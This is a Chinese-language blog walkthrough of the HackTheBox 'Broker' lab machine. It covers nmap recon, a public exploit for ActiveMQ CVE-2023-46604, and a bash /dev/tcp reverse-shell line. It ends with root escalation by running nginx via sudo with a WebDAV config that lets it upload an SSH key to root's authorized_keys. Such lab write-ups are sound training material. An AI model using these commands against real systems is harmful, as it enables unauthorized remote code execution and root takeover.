【HTB】 Broker 红队 easy

发布时间 2024-01-03 13:58:42作者: kazie

1、端口、服务收集

nmap 10.10.11.243 -sCV -Pn -p- --min-rate 5000

2、网页检测

访问 10.10.11.243 就看见 ActiveMQ,搜索一下可知:ActiveMQ 是开放源代码消息中间件

经过搜索,发现关于 ActiveMQ 的漏洞 CVE-2023-46604

3、漏洞利用

CVE-2023-46604

git clone https://github.com/duck-sec/CVE-2023-46604-ActiveMQ-RCE-pseudoshell.git
cd CVE-2023-46604-ActiveMQ-RCE-pseudoshell
python3 exploit.py -i target_IP -si your_IP
whoami

你可以反弹 shell(可选)

nc -lvnp 1234
bash -i >& /dev/tcp/your_IP/1234 0>&1

4、获取 user.txt

ptyhon3 -c 'import pty;pty.spawn("/bin/bash")'
id
pwd
ls /home
cat /home/activemq/user.txt

5、获取 root.txt

1)枚举

env
sudo -l

在 /tmp/.exploit 目录(任意目录)中创建 nginx.conf

user root;
events {
    worker_connections 1024;
}
http {
    server {
        listen 1999;
        root /;
        autoindex on;
        dav_methods PUT;
    }
}

2、启动并测试

sudo /usr/sbin/nginx -c /tmp/.exploit/nginx.conf	# 启动
curl localhost:1999		# 测试

3、生成密钥

ssh-keygen -f keep	# 其他默认即可

4、上传公钥

curl -X PUT 10.10.11.243:1999/root/.ssh/authorized_keys --upload-file keep.pub

5、连接

ssh -i keep root@10.10.11.243
cat /root/root.txt